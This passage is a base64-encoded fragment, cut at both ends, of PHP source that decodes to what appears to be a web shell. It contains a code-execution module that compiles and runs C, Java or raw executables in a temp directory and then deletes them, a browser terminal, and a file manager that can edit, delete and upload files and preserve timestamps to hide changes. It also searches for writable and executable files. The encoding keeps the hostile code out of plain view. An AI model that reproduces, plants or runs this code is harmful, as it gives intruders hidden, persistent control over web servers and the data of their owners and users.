lanMiKSl7ICR0bXBkaXIgPSBnZXRfd3JpdGFibGVkaXIoKTsgY2hkaXIoJHRtcGRpcik7ICRyZXMgLj0gIlVzaW5nIGRpciA6ICIuJHRtcGRpcjsgaWYoaXNfd3JpdGFibGUoJHRtcGRpcikpeyAkcmVzIC49ICIgKHdyaXRhYmxlKVxuIjsgJHVuaXEgPSBzdWJzdHIobWQ1KHRpbWUoKSksMCw4KTsgJGZpbGVuYW1lID0gJGV2YWxUeXBlLiR1bmlxOyAkcGF0aCA9ICRmaWxlbmFtZTsgJHJlcyAuPSAiVGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOyBpZih3cml0ZV9maWxlKCRwYXRoLCAkZXZhbENvZGUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsgaWYoY2htb2QoJHBhdGgsIDA3NTUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRjbWQgPSAkZXZhbFR5cGUuIiAiLiRldmFsT3B0aW9ucy4kcGF0aC4kZXZhbEFyZ3VtZW50czsgJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOyAkb3V0cHV0ID0gZXhlY3V0ZSgkY21kKTsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRoOyBpZih1bmxpbmsoJHBhdGgpKSAkcmVzIC49ICIgKG9rKVxuIjsgZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKG5vdCB3cml0YWJsZSlcbiI7ICRyZXMgLj0gIkZpbmlzaGVkLi4uIjsgcmV0dXJuICRyZXMuIntbfG51bGxzfF19Ii4kb3V0cHV0OyB9IGVsc2VpZigkZXZhbFR5cGU9PSJnY2MiKXsgJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOyBjaGRpcigkdG1wZGlyKTsgJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOyBpZihpc193cml0YWJsZSgkdG1wZGlyKSl7ICRyZXMgLj0gIiAod3JpdGFibGUpXG4iOyAkdW5pcSA9IHN1YnN0cihtZDUodGltZSgpKSwwLDgpOyAkZmlsZW5hbWUgPSAkZXZhbFR5cGUuJHVuaXEuIi5jIjsgJHBhdGggPSAkZmlsZW5hbWU7ICRyZXMgLj0gIlRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7ICRyZXMgLj0gIiAob2spXG4iOyAkZXh0ID0gKGlzX3dpbigpKT8gIi5leGUiOiIub3V0IjsgJHBhdGhyZXMgPSAkZmlsZW5hbWUuJGV4dDsgJGV2YWxPcHRpb25zID0gIi1vICIuJHBhdGhyZXMuIiAiLiRldmFsT3B0aW9uczsgJGNtZCA9ICJnY2MgIi4kZXZhbE9wdGlvbnMuJHBhdGg7ICRyZXMgLj0gIkNvbXBpbGluZyA6ICIuJGNtZDsgJHJlcyAuPSBleGVjdXRlKCRjbWQpOyBpZihpc19maWxlKCRwYXRocmVzKSl7ICRyZXMgLj0gIiAob2spXG4iOyAkcmVzIC49ICJTZXR0aW5nIHBlcm1pc3Npb25zIDogMDc1NSI7IGlmKGNobW9kKCRwYXRocmVzLCAwNzU1KSl7ICRyZXMgLj0gIiAob2spXG4iOyAkY21kID0gJHBhdGhyZXMuJGV2YWxBcmd1bWVudHM7ICRyZXMgLj0gIkV4ZWN1dGUgOiAiLiRjbWQuIlxuIjsgJG91dHB1dCA9IGV4ZWN1dGUoJGNtZCk7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7ICRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aHJlczsgaWYodW5saW5rKCRwYXRocmVzKSkgJHJlcyAuPSAiIChvaylcbiI7IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyAkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOyBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsgJHJlcyAuPSAiRmluaXNoZWQuLi4iOyByZXR1cm4gJHJlcy4ie1t8bnVsbHN8XX0iLiRvdXRwdXQ7IH0gZWxzZWlmKCRldmFsVHlwZT09ImphdmEiKXsgJHRtcGRpciA9IGdldF93cml0YWJsZWRpcigpOyBjaGRpcigkdG1wZGlyKTsgJHJlcyAuPSAiVXNpbmcgZGlyIDogIi4kdG1wZGlyOyBpZihpc193cml0YWJsZSgkdG1wZGlyKSl7ICRyZXMgLj0gIiAod3JpdGFibGUpXG4iOyBpZihwcmVnX21hdGNoKCIvY2xhc3NcIChbXntdKyl7L2kiLCRldmFsQ29kZSwgJHIpKXsgJGNsYXNzbmFtZSA9IHRyaW0oJHJbMV0pOyAkZmlsZW5hbWUgPSAkY2xhc3NuYW1lOyB9IGVsc2V7ICR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7ICRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcTsgJGV2YWxDb2RlID0gImNsYXNzICIuJGZpbGVuYW1lLiIgeyAiLiRldmFsQ29kZSAuICIgfSAiOyB9ICRwYXRoID0gJGZpbGVuYW1lLiIuamF2YSI7ICRyZXMgLj0gIlRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYod3JpdGVfZmlsZSgkcGF0aCwgJGV2YWxDb2RlKSl7ICRyZXMgLj0gIiAob2spXG4iOyAkY21kID0gImphdmFjICIuJGV2YWxPcHRpb25zLiRwYXRoOyAkcmVzIC49ICJDb21waWxpbmcgOiAiLiRjbWQ7ICRyZXMgLj0gZXhlY3V0ZSgkY21kKTsgJHBhdGhyZXMgPSAkZmlsZW5hbWUuIi5jbGFzcyI7IGlmKGlzX2ZpbGUoJHBhdGhyZXMpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRyZXMgLj0gIlNldHRpbmcgcGVybWlzc2lvbnMgOiAwNzU1IjsgaWYoY2htb2QoJHBhdGhyZXMsIDA3NTUpKXsgJHJlcyAuPSAiIChvaylcbiI7ICRjbWQgPSAiamF2YSAiLiRmaWxlbmFtZS4kZXZhbEFyZ3VtZW50czsgJHJlcyAuPSAiRXhlY3V0ZSA6ICIuJGNtZC4iXG4iOyAkb3V0cHV0ID0gZXhlY3V0ZSgkY21kKTsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgJHJlcyAuPSAiRGVsZXRpbmcgdGVtcG9yYXJ5IGZpbGUgOiAiLiRwYXRocmVzOyBpZih1bmxpbmsoJHBhdGhyZXMpKSAkcmVzIC49ICIgKG9rKVxuIjsgZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7IH0gZWxzZSAkcmVzIC49ICIgKGZhaWxlZClcbiI7ICRyZXMgLj0gIkRlbGV0aW5nIHRlbXBvcmFyeSBmaWxlIDogIi4kcGF0aDsgaWYodW5saW5rKCRwYXRoKSkgJHJlcyAuPSAiIChvaylcbiI7IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChmYWlsZWQpXG4iOyB9IGVsc2UgJHJlcyAuPSAiIChub3Qgd3JpdGFibGUpXG4iOyAkcmVzIC49ICJGaW5pc2hlZC4uLiI7IHJldHVybiAkcmVzLiJ7W3xudWxsc3xdfSIuJG91dHB1dDsgfSBlbHNlaWYoJGV2YWxUeXBlPT0iZXhlY3V0YWJsZSIpeyAkdG1wZGlyID0gZ2V0X3dyaXRhYmxlZGlyKCk7IGNoZGlyKCR0bXBkaXIpOyAkcmVzIC49ICJVc2luZyBkaXIgOiAiLiR0bXBkaXI7IGlmKGlzX3dyaXRhYmxlKCR0bXBkaXIpKXsgJHJlcyAuPSAiICh3cml0YWJsZSlcbiI7ICR1bmlxID0gc3Vic3RyKG1kNSh0aW1lKCkpLDAsOCk7ICRmaWxlbmFtZSA9ICRldmFsVHlwZS4kdW5pcS4iLmV4ZSI7ICRwYXRoID0gJGZpbGVuYW1lOyAkcmVzIC49ICJUZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHdyaXRlX2ZpbGUoJHBhdGgsICRldmFsQ29kZSkpeyAkcmVzIC49ICIgKG9rKVxuIjsgJGNtZCA9ICRwYXRoLiRldmFsQXJndW1lbnRzOyAkcmVzIC49ICJFeGVjdXRlIDogIi4kY21kLiJcbiI7ICRvdXRwdXQgPSBleGVjdXRlKCRjbWQpOyAkcmVzIC49ICJEZWxldGluZyB0ZW1wb3JhcnkgZmlsZSA6ICIuJHBhdGg7IGlmKHVubGluaygkcGF0aCkpICRyZXMgLj0gIiAob2spXG4iOyBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAoZmFpbGVkKVxuIjsgfSBlbHNlICRyZXMgLj0gIiAobm90IHdyaXRhYmxlKVxuIjsgJHJlcyAuPSAiRmluaXNoZWQuLi4iOyByZXR1cm4gJHJlcy4ie1t8bnVsbHN8XX0iLiRvdXRwdXQ7IH0gcmV0dXJuIGZhbHNlOyB9Cn0gaWYoIWZ1bmN0aW9uX2V4aXN0cygnb3V0cHV0JykpeyBmdW5jdGlvbiBvdXRwdXQoJHN0cil7ICRlcnJvciA9IEBvYl9nZXRfY29udGVudHMoKTsgQG9iX2VuZF9jbGVhbigpOyBoZWFkZXIoIkNvbnRlbnQtVHlwZTogdGV4dC9wbGFpbiIpOyBoZWFkZXIoIkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlIik7IGhlYWRlcigiUHJhZ21hOiBuby1jYWNoZSIpOyBlY2hvICRzdHI7IGRpZSgpOyB9Cn0KYmxvY2tfYm90KCk7CmF1dGgoKTsKY2hkaXIoZ2V0X2N3ZCgpKTsKJG5hdiA9IGdldF9uYXYoZ2V0X2N3ZCgpKTsKJHAgPSBhcnJheV9tYXAoInJhd3VybGRlY29kZSIsIG51bF9wb3N0KCkpOwokY3dkID0gaHRtbF9zYWZlKGdldF9jd2QoKSk7CiRHTE9CQUxTWydtb2R1bGUnXSA9IGFycmF5KCk7ICRleHBsb3Jlcl9jb250ZW50ID0gIiI7CmlmKGlzc2V0KCRwWyd2aWV3RW50cnknXSkpeyAkcGF0aCA9IHRyaW0oJHBbJ3ZpZXdFbnRyeSddKTsgaWYoaXNfZmlsZSgkcGF0aCkpeyAkZGlybmFtZSA9IHJlYWxwYXRoKGRpcm5hbWUoJHBhdGgpKS5ESVJFQ1RPUllfU0VQQVJBVE9SOyBzZXRjb29raWUoImN3ZCIsICRkaXJuYW1lKTsgY2hkaXIoJGRpcm5hbWUpOyAkbmF2ID0gZ2V0X25hdigkZGlybmFtZSk7ICRjd2QgPSBodG1sX3NhZmUoJGRpcm5hbWUpOyAkZXhwbG9yZXJfY29udGVudCA9IHZpZXdfZmlsZSgkcGF0aCwgImF1dG8iKTsgfSBlbHNlaWYoaXNfZGlyKCRwYXRoKSl7ICRwYXRoID0gcmVhbHBhdGgoJHBhdGgpLkRJUkVDVE9SWV9TRVBBUkFUT1I7IHNldGNvb2tpZSgiY3dkIiwgJHBhdGgpOyBjaGRpcigkcGF0aCk7ICRuYXYgPSBnZXRfbmF2KCRwYXRoKTsgJGN3ZCA9IGh0bWxfc2FmZSgkcGF0aCk7ICRleHBsb3Jlcl9jb250ZW50ID0gc2hvd19hbGxfZmlsZXMoJHBhdGgpOyB9Cn0KZWxzZSAkZXhwbG9yZXJfY29udGVudCA9IHNob3dfYWxsX2ZpbGVzKGdldF9jd2QoKSk7ICRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnaWQnXSA9ICJleHBsb3JlciI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsndGl0bGUnXSA9ICJmaWxlcyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXhwbG9yZXInXVsnY29udGVudCddID0gJGV4cGxvcmVyX2NvbnRlbnQ7ICRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsnaWQnXSA9ICJ0ZXJtaW5hbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsndGl0bGUnXSA9ICJ0ZXJtaWMiOwokR0xPQkFMU1snbW9kdWxlJ11bJ3Rlcm1pbmFsJ11bJ2pzX29udGFic2VsZWN0ZWQnXSA9ICIKaWYoKCFwb3J0YWJsZU1vZGUpICYmICgkKCcjdGVybWluYWxPdXRwdXQnKS5odG1sKCk9PScnKSkgJCgnI3Rlcm1pbmFsSW5wdXQnKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsndGVybWluYWwnXVsnY29udGVudCddID0gIjxwcmUgaWQ9J3Rlcm1pbmFsT3V0cHV0Jz48L3ByZT48dGFibGUgaWQ9J3Rlcm1pbmFsUHJvbXB0Jz48dHI+PHRkIGNsYXNzPSdjb2xGaXQnPjxzcGFuIGlkPSd0ZXJtaW5hbEN3ZCcgY2xhc3M9J3N0cm9uZyc+Ii5nZXRfY3dkKCkuIiZndDs8L3NwYW48L3RkPjx0ZCBpZD0ndGVybWluYWxDb21tYW5kJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J3Rlcm1pbmFsSW5wdXQnIGNsYXNzPSdmbG9hdExlZnQnIHNwZWxsY2hlY2s9J2ZhbHNlJz48L3RkPjwvdHI+PC90YWJsZT4iOyAkR0xPQkFMU1snbW9kdWxlJ11bJ2V2YWwnXVsnaWQnXSA9ICJldmFsIjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ3RpdGxlJ10gPSAiRXZhbCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZXZhbCddWydqc19vbnRhYnNlbGVjdGVkJ10gPSAiCmlmKCghcG9ydGFibGVNb2RlKSAmJiAoJCgnI2V2YWxPdXRwdXQnKS5odG1sKCk9PSdZb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQnKSkgJCgnI2V2YWxJbnB1dCcpLmZvY3VzKCk7IjsKJEdMT0JBTFNbJ21vZHVsZSddWydldmFsJ11bJ2NvbnRlbnQnXSA9ICIKPHRhYmxlIGNsYXNzPSdib3h0YmwnPgo8dGhlYWQ+IDx0cj48dGggY29sc3Bhbj0nNCc+PHAgY2xhc3M9J2JveHRpdGxlJz5FdmFsPC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PiA8dHI+PHRkIGNvbHNwYW49JzQnPjx0ZXh0YXJlYSBpZD0nZXZhbElucHV0JyBzcGVsbGNoZWNrPSdmYWxzZScgc3R5bGU9J2hlaWdodDoxNDBweDttaW4taGVpZ2h0OjE0MHB4Oyc+PC90ZXh0YXJlYT48L3RkPjwvdHI+IDx0ciBpZD0nZXZhbEFkZGl0aW9uYWwnPjx0ZCBjb2xzcGFuPSc0Jz4gPGlucHV0IHR5cGU9J3RleHQnIGlkPSdldmFsT3B0aW9ucycgdmFsdWU9J09wdGlvbnMvU3dpdGNoZXMnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZXZhbF9nbycpO1wiPiA8aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2V2YWxBcmd1bWVudHMnIHZhbHVlPSdBcmd1bWVudHMnIHNwZWxsY2hlY2s9J2ZhbHNlJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZXZhbF9nbycpO1wiPiA8L3RkPjwvdHI+IDx0cj4gPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPiA8c2VsZWN0IGlkPSdldmFsVHlwZSc+IDwvc2VsZWN0PiA8L3RkPiA8dGQgY29sc3Bhbj0nMyc+IDxzcGFuIGlkPSdldmFsU3VibWl0JyBzdHlsZT0nd2lkdGg6MTIwcHg7JyBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZXZhbF9nbygpO1wiPnJ1bjwvc3Bhbj4gPC90ZD4gPC90cj4gPHRyPjx0ZCBjb2xzcGFuPSc0Jz48cHJlIGlkPSdldmFsT3V0cHV0Jz5Zb3UgY2FuIGFsc28gcHJlc3MgY3RybCtlbnRlciB0byBzdWJtaXQ8L3ByZT48L3RkPC90cj4KPC90Ym9keT4KPC90YWJsZT4KIjsgJHJlcyA9ICIiOwppZihpc3NldCgkcFsnY2QnXSkpeyAkcGF0aCA9ICRwWydjZCddOyBpZih0cmltKCRwYXRoKT09JycpICRwYXRoID0gZGlybmFtZShfX0ZJTEVfXyk7ICRwYXRoID0gcmVhbHBhdGgoJHBhdGgpOyBpZihpc19maWxlKCRwYXRoKSkgJHBhdGggPSBkaXJuYW1lKCRwYXRoKTsgaWYoaXNfZGlyKCRwYXRoKSl7IGNoZGlyKCRwYXRoKTsgJHBhdGggPSAkcGF0aC5ESVJFQ1RPUllfU0VQQVJBVE9SOyBzZXRjb29raWUoImN3ZCIsICRwYXRoKTsgJHJlcyA9ICRwYXRoLiJ7W3xudWxsc3xdfSIuZ2V0X25hdigkcGF0aCkuIntbfG51bGxzfF19IjsgaWYoaXNzZXQoJHBbJ3Nob3dmaWxlcyddKSYmKCRwWydzaG93ZmlsZXMnXT09J3RydWUnKSl7ICRyZXMgLj0gc2hvd19hbGxfZmlsZXMoJHBhdGgpOyB9IH0gZWxzZSAkcmVzID0gImVycm9yIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsndmlld0ZpbGUnXSkgJiYgaXNzZXQoJHBbJ3ZpZXdUeXBlJ10pKXsgJHBhdGggPSB0cmltKCRwWyd2aWV3RmlsZSddKTsgJHR5cGUgPSB0cmltKCRwWyd2aWV3VHlwZSddKTsgJHByZXNlcnZlVGltZXN0YW1wID0gdHJpbSgkcFsncHJlc2VydmVUaW1lc3RhbXAnXSk7IGlmKGlzX2ZpbGUoJHBhdGgpKXsgJHJlcyA9IHZpZXdfZmlsZSgkcGF0aCwgJHR5cGUsICRwcmVzZXJ2ZVRpbWVzdGFtcCk7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsncmVuYW1lRmlsZSddKSAmJiBpc3NldCgkcFsncmVuYW1lRmlsZVRvJ10pKXsgJHJlbmFtZUZpbGUgPSB0cmltKCRwWydyZW5hbWVGaWxlJ10pOyAkcmVuYW1lRmlsZVRvID0gdHJpbSgkcFsncmVuYW1lRmlsZVRvJ10pOyBpZihmaWxlX2V4aXN0cygkcmVuYW1lRmlsZSkpeyBpZihyZW5hbWUoJHJlbmFtZUZpbGUsICRyZW5hbWVGaWxlVG8pKXsgJHJlcyA9IGRpcm5hbWUoJHJlbmFtZUZpbGVUbyk7IH0gZWxzZSAkcmVzID0gImVycm9yIjsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyduZXdGb2xkZXInXSkpeyAkbmV3Rm9sZGVyID0gdHJpbSgkcFsnbmV3Rm9sZGVyJ10pOyBpZihta2RpcigkbmV3Rm9sZGVyKSl7ICRyZXMgPSBkaXJuYW1lKCRuZXdGb2xkZXIpOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ25ld0ZpbGUnXSkpeyAkbmV3RmlsZSA9IHRyaW0oJHBbJ25ld0ZpbGUnXSk7IGlmKHRvdWNoKCRuZXdGaWxlKSl7ICRyZXMgPSBkaXJuYW1lKCRuZXdGaWxlKTsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydkZWxldGUnXSkpeyAkcGF0aCA9IHRyaW0oJHBbJ2RlbGV0ZSddKTsgJGRpcm5hbWUgPSBkaXJuYW1lKCRwYXRoKTsgaWYoaXNfZmlsZSgkcGF0aCkpeyBpZih1bmxpbmsoJHBhdGgpKSAkcmVzID0gJGRpcm5hbWU7IH0gZWxzZWlmKGlzX2RpcigkcGF0aCkpeyBpZihybWRpcnMoJHBhdGgpPjApICRyZXMgPSAkZGlybmFtZTsgfSBlbHNlICRyZXMgPSAiZXJyb3IiOyBpZihmaWxlX2V4aXN0cygkcGF0aCkpICRyZXMgPSAiZXJyb3IiOyBvdXRwdXQoJHJlcyk7Cn0KZWxzZWlmKGlzc2V0KCRwWydlZGl0VHlwZSddKSYmaXNzZXQoJHBbJ2VkaXRGaWxlbmFtZSddKSYmaXNzZXQoJHBbJ2VkaXRJbnB1dCddKSYmaXNzZXQoJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pKXsgJGVkaXRGaWxlbmFtZSA9IHRyaW0oJHBbJ2VkaXRGaWxlbmFtZSddKTsgJGVkaXRJbnB1dCA9IHRyaW0oJHBbJ2VkaXRJbnB1dCddKTsgJGVkaXRUeXBlID0gdHJpbSgkcFsnZWRpdFR5cGUnXSk7ICRwcmVzZXJ2ZVRpbWVzdGFtcCA9IHRyaW0oJHBbJ3ByZXNlcnZlVGltZXN0YW1wJ10pOyAkdGltZSA9IGZpbGVtdGltZSgkZWRpdEZpbGVuYW1lKTsgaWYoJGVkaXRUeXBlPT0naGV4JykgJGVkaXRJbnB1dCA9IHBhY2soIkgqIiAsIHByZWdfcmVwbGFjZSgiL1xzLyIsIiIsICRlZGl0SW5wdXQpKTsgaWYod3JpdGVfZmlsZSgkZWRpdEZpbGVuYW1lLCAkZWRpdElucHV0KSl7ICRyZXMgPSAkZWRpdEZpbGVuYW1lOyBpZigkcHJlc2VydmVUaW1lc3RhbXA9PSd0cnVlJykgdG91Y2goJGVkaXRGaWxlbmFtZSwgJHRpbWUpOyB9IGVsc2UgJHJlcyA9ICJlcnJvciI7IG91dHB1dCgkcmVzKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2ZpbmRUeXBlJ10pKXsgJGZpbmRUeXBlID0gdHJpbSgkcFsnZmluZFR5cGUnXSk7ICRmaW5kUGF0aCA9IHRyaW0oJHBbJ2ZpbmRQYXRoJ10pOyAkZmluZE5hbWUgPSB0cmltKCRwWydmaW5kTmFtZSddKTsgJGZpbmROYW1lUmVnZXggPSB0cmltKCRwWydmaW5kTmFtZVJlZ2V4J10pOyAkZmluZE5hbWVJbnNlbnNpdGl2ZSA9IHRyaW0oJHBbJ2ZpbmROYW1lSW5zZW5zaXRpdmUnXSk7ICRmaW5kQ29udGVudCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50J10pOyAkZmluZENvbnRlbnRSZWdleCA9IHRyaW0oJHBbJ2ZpbmRDb250ZW50UmVnZXgnXSk7ICRmaW5kQ29udGVudEluc2Vuc2l0aXZlID0gdHJpbSgkcFsnZmluZENvbnRlbnRJbnNlbnNpdGl2ZSddKTsgJGZpbmRSZWFkYWJsZSA9IHRyaW0oJHBbJ2ZpbmRSZWFkYWJsZSddKTsgJGZpbmRXcml0YWJsZSA9IHRyaW0oJHBbJ2ZpbmRXcml0YWJsZSddKTsgJGZpbmRFeGVjdXRhYmxlID0gdHJpbSgkcFsnZmluZEV4ZWN1dGFibGUnXSk7ICRjYW5kaWRhdGUgPSBnZXRfYWxsX2ZpbGVzKCRmaW5kUGF0aCk7IGlmKCRmaW5kVHlwZT09J2ZpbGUnKSAkY2FuZGlkYXRlID0gYXJyYXlfZmlsdGVyKCRjYW5kaWRhdGUsICJpc19maWxlIik7IGVsc2VpZigkZmluZFR5cGU9PSdmb2xkZXInKSAkY2FuZGlkYXRlID0gYXJyYXlfZmlsdGVyKCRjYW5kaWRhdGUsICJpc19kaXIiKTsgZWxzZSAkcmVzID0gImVycm9yIjsgZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsgaWYoKCRmaW5kVHlwZT09ImZpbGUiKXx8KCRmaW5kVHlwZT09ImZvbGRlciIpKXsgaWYoIWVtcHR5KCRmaW5kTmFtZSkpeyBpZigkZmluZE5hbWVSZWdleD09InRydWUiKXsgJGNhc2UgPSAoJGZpbmROYW1lSW5zZW5zaXRpdmU9PSJ0cnVlIik/ICJpIjoiIjsgaWYoIXByZWdfbWF0Y2goIi8iLiRmaW5kTmFtZS4iLyIuJGNhc2UsIGJhc2VuYW1lKCRrKSkpeyAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gZWxzZXsgJGNoZWNrID0gZmFsc2U7IGlmKCRmaW5kTmFtZUluc2Vuc2l0aXZlPT0idHJ1ZSIpeyAkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcihiYXNlbmFtZSgkaykpLCBzdHJ0b2xvd2VyKCRmaW5kTmFtZSkpPT09ZmFsc2U7IH0gZWxzZXsgJGNoZWNrID0gc3RycG9zKGJhc2VuYW1lKCRrKSwgJGZpbmROYW1lKT09PWZhbHNlOyB9IGlmKCRjaGVjayl7ICRjYW5kaWRhdGUgPSBhcnJheV9kaWZmKCRjYW5kaWRhdGUsIGFycmF5KCRrKSk7IH0gfSB9IH0gaWYoJGZpbmRUeXBlPT0iZmlsZSIpeyBpZighZW1wdHkoJGZpbmRDb250ZW50KSl7ICRjb250ZW50ID0gcmVhZF9maWxlKCRrKTsgaWYoJGZpbmRDb250ZW50UmVnZXg9PSJ0cnVlIil7ICRjYXNlID0gKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpPyAiaSI6IiI7IGlmKCFwcmVnX21hdGNoKCIvIi4kZmluZENvbnRlbnQuIi8iLiRjYXNlLCAkY29udGVudCkpeyAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gZWxzZXsgJGNoZWNrID0gZmFsc2U7IGlmKCRmaW5kQ29udGVudEluc2Vuc2l0aXZlPT0idHJ1ZSIpeyAkY2hlY2sgPSBzdHJwb3Moc3RydG9sb3dlcigkY29udGVudCksIHN0cnRvbG93ZXIoJGZpbmRDb250ZW50KSk9PT1mYWxzZTsgfSBlbHNleyAkY2hlY2sgPSBzdHJwb3MoJGNvbnRlbnQsICRmaW5kQ29udGVudCk9PT1mYWxzZTsgfSBpZigkY2hlY2speyAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gfSB9IH0gZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsgaWYoJGZpbmRSZWFkYWJsZT09InRydWUiKXsgaWYoIWlzX3JlYWRhYmxlKCRrKSkgJGNhbmRpZGF0ZSA9IGFycmF5X2RpZmYoJGNhbmRpZGF0ZSwgYXJyYXkoJGspKTsgfSBpZigkZmluZFdyaXRhYmxlPT0idHJ1ZSIpeyBpZighaXNfd3JpdGFibGUoJGspKSAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IGlmKCRmaW5kRXhlY3V0YWJsZT09InRydWUiKXsgaWYoIWlzX2V4ZWN1dGFibGUoJGspKSAkY2FuZGlkYXRlID0gYXJyYXlfZGlmZigkY2FuZGlkYXRlLCBhcnJheSgkaykpOyB9IH0gaWYoY291bnQoJGNhbmRpZGF0ZSk+MCl7ICRyZXMgPSAiIjsgZm9yZWFjaCgkY2FuZGlkYXRlIGFzICRrKXsgJHJlcyAuPSAiPHA+PHNwYW4gY2xhc3M9J3N0cm9uZyc+Jmd0Ozwvc3Bhbj4mbmJzcDs8YSBkYXRhLXBhdGg9JyIuaHRtbF9zYWZlKCRrKS4iJyBvbmNsaWNrPSd2aWV3X2VudHJ5KHRoaXMpOyc+Ii5odG1sX3NhZmUoJGspLiI8L2E+PC9wPiI7IH0gfSBlbHNlICRyZXMgPSAiIjsgb3V0cHV0KCRyZXMpOwp9CmVsc2VpZihpc3NldCgkcFsndWxUeXBlJ10pKXsgJHVsU2F2ZVRvID0gdHJpbSgkcFsndWxTYXZlVG8nXSk7ICR1bEZpbGVuYW1lID0gdHJpbSgkcFsndWxGaWxlbmFtZSddKTsgaWYoJHBbJ3VsVHlwZSddPT0nY29tcCcpeyAkdWxGaWxlID0gJF9GSUxFU1sndWxGaWxlJ107IGlmKGVtcHR5KCR1bEZpbGVuYW1lKSkgJHVsRmlsZW5hbWUgPSAkdWxGaWxlWyduYW1lJ107IGlmKGlzX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSkpeyBpZighaXNfZGlyKCR1bFNhdmVUbykpIG1rZGlyKCR1bFNhdmVUbyk7ICRuZXdmaWxlID0gcmVhbHBhdGgoJHVsU2F2ZVRvKS5ESVJFQ1RPUllfU0VQQVJBVE9SLiR1bEZpbGVuYW1lOyBpZihtb3ZlX3VwbG9hZGVkX2ZpbGUoJHVsRmlsZVsndG1wX25hbWUnXSwgJG5ld2ZpbGUpKXsgJHJlcyA9ICI8c3BhbiBjbGFzcz0